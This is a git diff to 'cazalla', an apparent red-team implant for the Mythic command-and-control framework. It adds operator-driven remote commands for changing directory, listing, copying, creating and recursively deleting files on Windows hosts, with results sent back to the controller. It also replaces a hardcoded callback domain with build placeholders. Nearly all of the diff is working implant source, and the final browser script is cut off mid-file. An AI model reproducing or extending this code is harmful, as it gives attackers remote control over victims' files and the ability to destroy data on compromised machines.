diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c index 3286bc1..8b88c09 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c @@ -27,7 +27,6 @@ VOID liberarAnalizador(PAnalizador analizador) { } - BYTE getByte(PAnalizador analizador) { BYTE intByte = 0; diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h index 3e0a91d..c47724d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h @@ -1,13 +1,13 @@ #pragma once -#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4" -#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net" -#define endpoint L"data" -#define ssl TRUE -#define proxyenabled FALSE -#define proxyurl L"" +#define initUUID "%UUID%" +#define hostname L"%HOSTNAME%" +#define endpoint L"%ENDPOINT%" +#define ssl %SSL% +#define proxyenabled %PROXYENABLED% +#define proxyurl L"%PROXYURL%" -#define useragent L"" +#define useragent L"%USERAGENT%" #define httpmethod L"POST" -#define port 443 +#define port %PORT% -#define sleep_time 10 \ No newline at end of file +#define sleep_time %SLEEPTIME% \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c new file mode 100644 index 0000000..02a5cb1 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -0,0 +1,433 @@ +#include "SistemadeFicheros.h" +#include "paquete.h" + +#define _CRT_SECURE_NO_WARNINGS +#pragma warning(disable : 4996) + +VOID CambiarDirectorio(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + _dbg("\t tenemos %d argumentos", nbArg); + if (nbArg == 0) { + return; + } + + SIZE_T tamano = 0; + PCHAR pathIntroducido = getString(argumentos, &tamano); + + _dbg("Usando el path %s", pathIntroducido); + + // Normalizar el path + char pathNormalizado[2048]; + int j = 0; + + for (int i = 0; i < tamano; i++) { + if (pathIntroducido[i] == '\\') { + // Si encontramos una barra invertida, aseguramos que se copie dos veces + pathNormalizado[j++] = '\\'; + } + pathNormalizado[j++] = pathIntroducido[i]; + } + + // Asegurar que el path est terminado en null + pathNormalizado[j] = '\0'; + + // Convertir el path a minsculas para evitar problemas con maysculas/minsculas + for (int i = 0; i < j; i++) { + pathNormalizado[i] = tolower(pathNormalizado[i]); + } + + // Intentar cambiar el directorio + if (!SetCurrentDirectoryA(pathNormalizado)) { + DWORD error = GetLastError(); + _err("no se puede cambiar a ese directorio %s : ERROR CODE %d", pathNormalizado, error); + //PackageError(tareaUuid, error); + goto end; + } + + // Obtener el directorio actual + char dir[2048]; + int length = GetCurrentDirectoryA(sizeof(dir), dir); + + PPaquete salida = nuevoPaquete(0, FALSE); + + // success + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + + addString(salida, dir, FALSE); + + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + +end: + LocalFree(pathIntroducido); +} + +VOID ListarDirectorio(PAnalizador argumentos){ + +#define MAX_FILENAME 0x4000 + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + _dbg("\t tenemos %d argumentos", nbArg); + if (nbArg == 0) { + return; + } + + UINT32 tamanoPath = NULL; + SIZE_T tamano = 0; + char nombreFichero[MAX_FILENAME]; + PCHAR fichero = getString(argumentos, &tamano); + + strcpy(nombreFichero, fichero); + + _dbg("Filename: %s", nombreFichero); + + PPaquete salida = nuevoPaquete(0, FALSE); + +#define SOURCE_DIRECTORY "\\*" + + if (!strncmp(nombreFichero, "." SOURCE_DIRECTORY, MAX_FILENAME)){ + GetCurrentDirectoryA(MAX_FILENAME, nombreFichero); + strncat_s(nombreFichero, MAX_FILENAME, SOURCE_DIRECTORY, strlen(SOURCE_DIRECTORY)); + }else{ + + tamanoPath = strlen(nombreFichero); + if (nombreFichero[tamanoPath - 1] != 0x5c) { + nombreFichero[tamanoPath++] = 0x5c; + } + nombreFichero[tamanoPath++] = 0x2a; + nombreFichero[tamanoPath] = 0x00; + } + + _dbg("[ls] %s", nombreFichero); + + PackageAddFormatPrintf(salida, FALSE, "%s\n", nombreFichero); + WIN32_FIND_DATAA datosEncontrados; + HANDLE primerFichero = FindFirstFileA(nombreFichero, &datosEncontrados); + + if (primerFichero == INVALID_HANDLE_VALUE){ + DWORD error = GetLastError(); + _err("Could not open %s : ERROR CODE %d", nombreFichero, error); + //PackageError(tareaUuid, error); + goto end; + } + + SYSTEMTIME systemTime, localTime; + do{ + + FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime); + SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime); + + if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){ + + PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", + localTime.wMonth, localTime.wDay, localTime.wYear, + localTime.wHour, localTime.wMinute, localTime.wSecond, + datosEncontrados.cFileName); + }else{ + PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", + ((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow, + localTime.wMonth, localTime.wDay, localTime.wYear, + localTime.wHour, localTime.wMinute, localTime.wSecond, + datosEncontrados.cFileName); + } + } while (FindNextFileA(primerFichero, &datosEncontrados)); + + FindClose(primerFichero); + + + // success + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuestaTarea); + +end: + // Cleanup + LocalFree(fichero); + liberarPaquete(salida); +} + +BOOL ObtenerPath(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + UINT32 nbArg = getInt32(argumentos); + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + char dir[2048]; + int length = GetCurrentDirectoryA(sizeof(dir), dir); + + PPaquete salida = nuevoPaquete(0, FALSE); + + if (length == 0) { + DWORD error = GetLastError(); + + _err("[pwd] Error obteniendo directorio actual. Cdigo: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[pwd] Error: %lu\n", error); + + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + + _err("[pwd] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length); + _err("[pwd] Contenido error: %s\n", salidaError->buffer); + + mandarPaquete(respuestaError); + + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return FALSE; + } + + _dbg("[pwd] Directorio actual: %s\n", dir); + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + + addString(respuestaTarea, tareaUuid, FALSE); + addString(salida, dir, FALSE); + + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + + return TRUE; +} + +VOID CopiarFichero(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + _dbg("\t tenemos %d argumentos", nbArg); + if (nbArg == 0) { + return; + } + + SIZE_T tamano = 0; + SIZE_T tamano2 = 0; + PCHAR ficheroExistente = getString(argumentos, &tamano); + PCHAR nuevoFichero = getString(argumentos, &tamano2); + + _dbg("Copying file \"%s\" to \"%s\"", ficheroExistente, nuevoFichero); + + // Copy the file + if (!CopyFileA(ficheroExistente, nuevoFichero, FALSE)){ + + DWORD error = GetLastError(); + + _err("[cp] No se ha podido copiar. Cdigo: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[cp] Error: %lu\n", error); + + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + + _err("[cp] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length); + _err("[cp] Contenido error: %s\n", salidaError->buffer); + + mandarPaquete(respuestaError); + + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } + + PPaquete salida = nuevoPaquete(0, FALSE); + + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + + char frase2[512]; // Asume que el path no va a pasar de 512 caracteres + snprintf(frase2, sizeof(frase2), "[cp] Fichero copiado correctamente a: %s", nuevoFichero); + addString(salida, frase2, FALSE); + + addString(respuestaTarea, tareaUuid, FALSE); + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + +end: + // Cleanup + LocalFree(nuevoFichero); + LocalFree(ficheroExistente); +} + +VOID CrearRuta(PAnalizador argumentos){ + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + SIZE_T tamano = 0; + PCHAR directorio = getString(argumentos, &tamano); + + _dbg("Creating directory: \"%s\"", directorio); + + if (!CreateDirectoryA(directorio, NULL)){ + DWORD error = GetLastError(); + + _err("[mkdir] No se ha podido crear el directorio. Cdigo: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[mkdir] Error: %lu\n", error); + + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + + _err("[mkdir] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length); + _err("[mkdir] Contenido error: %s\n", salidaError->buffer); + + mandarPaquete(respuestaError); + + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + + goto end; + } + + PPaquete salida = nuevoPaquete(0, FALSE); + + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + + char frase2[512]; // Asume que el path no va a pasar de 512 caracteres + snprintf(frase2, sizeof(frase2), "[mkdir] Directorio creado con exito: %s", directorio); + addString(salida, frase2, FALSE); + + addString(respuestaTarea, tareaUuid, FALSE); + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + +end: + // Cleanup + LocalFree(directorio); +} + +BOOL EsDirectorio(char* nombre){ + + return GetFileAttributesA(nombre) & FILE_ATTRIBUTE_DIRECTORY; +} + +VOID EliminaCallbacksRecursivos(const char* a1, const char* a2, BOOL esDirectorio){ + + char* lpNombreRuta = (char*)malloc(0x4000); + _snprintf(lpNombreRuta, 0x4000, "%s\\%s", a1, a2); + if (esDirectorio) + RemoveDirectoryA(lpNombreRuta); + else + DeleteFileA(lpNombreRuta); + free(lpNombreRuta); +} + +VOID BuscaYProcesa(char* nombre, WIN32_FIND_DATAA* busqueda){ + +#define MAX_FILENAME 0x8000 + char* lpNombreFichero; + + lpNombreFichero = malloc(MAX_FILENAME); + snprintf(lpNombreFichero, MAX_FILENAME, "%s\\*", nombre); + LPWIN32_FIND_DATAA lpCurrentFindFileData = busqueda; + HANDLE hFindFile = FindFirstFileA(lpNombreFichero, lpCurrentFindFileData); + free(lpNombreFichero); + + if (hFindFile == INVALID_HANDLE_VALUE) { + return; + } + + do{ + if (lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, "..")) + { + char* lpFileNameInternal = malloc(MAX_FILENAME); + snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName); + + lpNombreFichero = malloc(MAX_FILENAME); + snprintf(lpNombreFichero, MAX_FILENAME, "%s\\%s", nombre, busqueda->cFileName); + BuscaYProcesa(lpNombreFichero, busqueda); + free(lpNombreFichero); + + EliminaCallbacksRecursivos(nombre, lpFileNameInternal, TRUE); + free(lpFileNameInternal); + } + + lpCurrentFindFileData = busqueda; + } + else + { + EliminaCallbacksRecursivos(nombre, lpCurrentFindFileData->cFileName, FALSE); + } + } while (FindNextFileA(hFindFile, lpCurrentFindFileData)); + FindClose(hFindFile); +} + +VOID BorrarDirectoriosHijos(char* rutaFichero){ + WIN32_FIND_DATAA busqueda; + + BuscaYProcesa( + rutaFichero, + &busqueda); +} + +VOID EliminarRuta(PAnalizador argumentos){ + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + SIZE_T tamano = 0; + PCHAR ruta = getString(argumentos, &tamano); + + if (nbArg == 0) + return; + + if (EsDirectorio(ruta)){ + + BorrarDirectoriosHijos(ruta); + RemoveDirectoryA(ruta); + + }else{ + DeleteFileA(ruta); + } + + PPaquete salida = nuevoPaquete(0, FALSE); + + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + + char frase2[512]; // Asume que el path no va a pasar de 512 caracteres + snprintf(frase2, sizeof(frase2), "[rm] Borrados los ficheros o directorios incluidos sus hijos: %s", ruta); + addString(salida, frase2, FALSE); + + addString(respuestaTarea, tareaUuid, FALSE); + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + +end:; + // Cleanup + LocalFree(ruta); +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h new file mode 100644 index 0000000..4634a6e --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h @@ -0,0 +1,20 @@ +#pragma once +#ifndef FILESYSTEM_H +#define FILESYSTEM_H + +#include +#include "analizador.h" + +VOID CambiarDirectorio(PAnalizador argumentos); + +VOID ListarDirectorio(PAnalizador argumentos); + +BOOL ObtenerPath(PAnalizador argumentos); + +VOID CopiarFichero(PAnalizador argumentos); + +VOID CrearRuta(PAnalizador argumentos); + +VOID EliminarRuta(PAnalizador argumentos); + +#endif //FILESYSTEM_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 92956dc..206822b 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -16,18 +16,29 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); - if (tarea == SHELL_CMD) - { + if (tarea == SHELL_CMD){ ejecutarConsola(analizadorTarea); - } - else if (tarea == EXIT_CMD) { + }else if (tarea == EXIT_CMD) { cerrarCallback(analizadorTarea); }else if(tarea == SLEEP_CMD){ sleep(analizadorTarea); }else if(tarea == PROCESS_CMD){ listarProcesos(analizadorTarea); + }else if (tarea == CD_CMD) { + CambiarDirectorio(analizadorTarea); + }else if (tarea == LS_CMD) { + ListarDirectorio(analizadorTarea); + }else if (tarea == PWD_CMD) { + ObtenerPath(analizadorTarea); + }else if (tarea == CP_CMD) { + CopiarFichero(analizadorTarea); + }else if (tarea == MKDIR_CMD) { + CrearRuta(analizadorTarea); + }else if (tarea == RM_CMD) { + EliminarRuta(analizadorTarea); } } + return TRUE; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index d3163cc..0967869 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -9,6 +9,7 @@ #include "cerrarCallback.h" #include "sleep.h" #include "procesos.h" +#include "SistemadeFicheros.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -21,6 +22,15 @@ #define SLEEP_CMD 0x38 #define PROCESS_CMD 0x15 +#define CD_CMD 0x20 +#define LS_CMD 0x21 +#define PWD_CMD 0x22 +#define CP_CMD 0x23 +#define MKDIR_CMD 0x24 +#define RM_CMD 0x25 + + + BOOL parseChecking(PAnalizador respuestaAnalizador); BOOL rutina(); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c index 997c85b..2ad6d0c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -3,7 +3,7 @@ //#ifdef _DEBUG //int main() //#else -int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) +//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) //#endif { cazallaMain(); diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cd.py b/Payload_Type/cazalla/cazalla/agent_functions/cd.py new file mode 100644 index 0000000..11c11f5 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/cd.py @@ -0,0 +1,55 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class CdArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="path", + type=ParameterType.String, + description="Path al que cambiar.", + parameter_group_info=[ParameterGroupInfo( + required=True + )] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Es necesario agregar un path.") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary): + self.load_args_from_dictionary(dictionary) + +class CdCommand(CommandBase): + cmd = "cd" + needs_admin = False + help_cmd = "cd C:\\directorio\\al\\que\\cambiar" + description = "Cambiar directorio de trabajo." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = [] + argument_class = CdArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cp.py b/Payload_Type/cazalla/cazalla/agent_functions/cp.py new file mode 100644 index 0000000..a8b4315 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/cp.py @@ -0,0 +1,56 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + +class CpArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="fichero existente", + type=ParameterType.String, + description="Ruta del fichero a copiar" + ), + CommandParameter( + name="fichero nuevo", + type=ParameterType.String, + description="Ruta del nuevo fichero" + ) + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Este comando necesita parametros") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + +class CpCommand(CommandBase): + cmd = "cp" + needs_admin = False + help_cmd = "cp c:\\ruta\\fichero c:\\ruta\\a\\copiar" + description = "Copia un fichero a un nuevo destino." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = [] + argument_class = CpArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ls.py b/Payload_Type/cazalla/cazalla/agent_functions/ls.py new file mode 100644 index 0000000..dce02d7 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/ls.py @@ -0,0 +1,101 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import re +import string, json + +import logging + +logging.basicConfig(level=logging.INFO) + +class LsArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="path", + type=ParameterType.String, + description="Path del fichero o de la carpeta del sistema", + parameter_group_info=[ParameterGroupInfo( + required=False + )] + ), + ] + + async def parse_arguments(self): + logging.info("Parse Aguments") + pass + + async def parse_dictionary(self, dictionary): + logging.info("Parse Dictionary") + if "host" in dictionary: + + logging.info(f"Command came from File Browser UI - {dictionary}") + self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"]) + # self.add_arg("file_browser", type=ParameterType.Boolean, value=True) + else: + logging.info(f"Command came from CMDLINE - {dictionary}") + + arg_path = dictionary.get("path") + if arg_path: + self.add_arg("path", arg_path) + else: + self.add_arg("path", ".\\*") # List current directory if no args + + self.add_arg("file_browser", "true") + + self.load_args_from_dictionary(dictionary) + +class LsCommand(CommandBase): + cmd = "ls" + needs_admin = False + help_cmd = "ls [directorio]" + description = "listado de informacion del " + version = 1 + supported_ui_features = ["file_browser:list"] + author = "Kaseya OFSTeam" + attackmapping = ["T1106", "T1083"] + argument_class = LsArguments + browser_script = BrowserScript( + script_name="ls", author="Kaseya OFSTeam", for_new_ui=True + ) + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=True + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + path = taskData.args.get_arg("path") + logging.info(f"create_go_tasking - path : {path}") + response.DisplayParams = path + + # + if uncmatch := re.match(r"^\\\\(?P[^\\]+)\\(?P.*)$", path): + taskData.args.add_arg("host", uncmatch.group("host")) + taskData.args.set_arg("path", uncmatch.group("path")) + else: + # Set the host argument to an empty string if it does not exist + taskData.args.add_arg("host", "") + if host := taskData.args.get_arg("host"): + host = host.upper() + + # Resolve 'localhost' and '127.0.0.1' aliases + if host == "127.0.0.1" or host.lower() == "localhost": + host = taskData.Callback.Host + + taskData.args.set_arg("host", host) + + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/mkdir.py b/Payload_Type/cazalla/cazalla/agent_functions/mkdir.py new file mode 100644 index 0000000..6fa4756 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/mkdir.py @@ -0,0 +1,55 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class MkdirArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="path", + type=ParameterType.String, + description="Ruta en la que crear el nuevo directorio", + parameter_group_info=[ParameterGroupInfo( + required=True + )] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Es necesario agregar una ruta en la que crear el directorio") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary): + self.load_args_from_dictionary(dictionary) + +class MkdirCommand(CommandBase): + cmd = "mkdir" + needs_admin = False + help_cmd = "mkdir C:\\nuevo\\directorio" + description = "Crea un nuevo directorio." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = [] + argument_class = MkdirArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/pwd.py b/Payload_Type/cazalla/cazalla/agent_functions/pwd.py new file mode 100644 index 0000000..d12a96a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/pwd.py @@ -0,0 +1,43 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class PwdArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + if len(self.command_line) > 0: + raise ValueError("Pwd no necesita parametros.") + + +class PwdCommand(CommandBase): + cmd = "pwd" + needs_admin = False + help_cmd = "pwd" + description = "Muestra el directorio actual" + version = 1 + author = "Kaseya OFSTeam" + attackmapping = [] + argument_class = PwdArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rm.py b/Payload_Type/cazalla/cazalla/agent_functions/rm.py new file mode 100644 index 0000000..f28b5fb --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/rm.py @@ -0,0 +1,56 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class RmArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="path", + type=ParameterType.String, + description="ruta al fichero o directorio", + parameter_group_info=[ParameterGroupInfo( + required=True + )] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Debe introducir una ruta a un fichero o directorio") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary): + self.load_args_from_dictionary(dictionary) + +class RmCommand(CommandBase): + cmd = "rm" + needs_admin = False + help_cmd = "rm C:\\ruta\\al\\DirectorioOFichero" + description = "Elimina un fichero o un directorio" + version = 1 + supported_ui_features = ["file_browser:remove"] + author = "Kaseya OFSTeam" + attackmapping = [] + argument_class = RmArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/browser_scripts/ls.js b/Payload_Type/cazalla/cazalla/browser_scripts/ls.js new file mode 100644 index 0000000..72ac265 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/browser_scripts/ls.js @@ -0,0 +1,58 @@ +function(task, responses) { + if (task.status.includes("error")) { + const combined = responses.reduce((prev, cur) => prev + cur, ""); + return { 'plaintext': combined }; + } else if (responses.length > 0) { + // Parse the output data + const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== ""); + if (output.length <= 2) { + return { 'plaintext': "No directory contents found." }; + } + + // Extract path and rows + const pathLine = output[1]; + const dataLines = output.slice(2); + + // Prepare 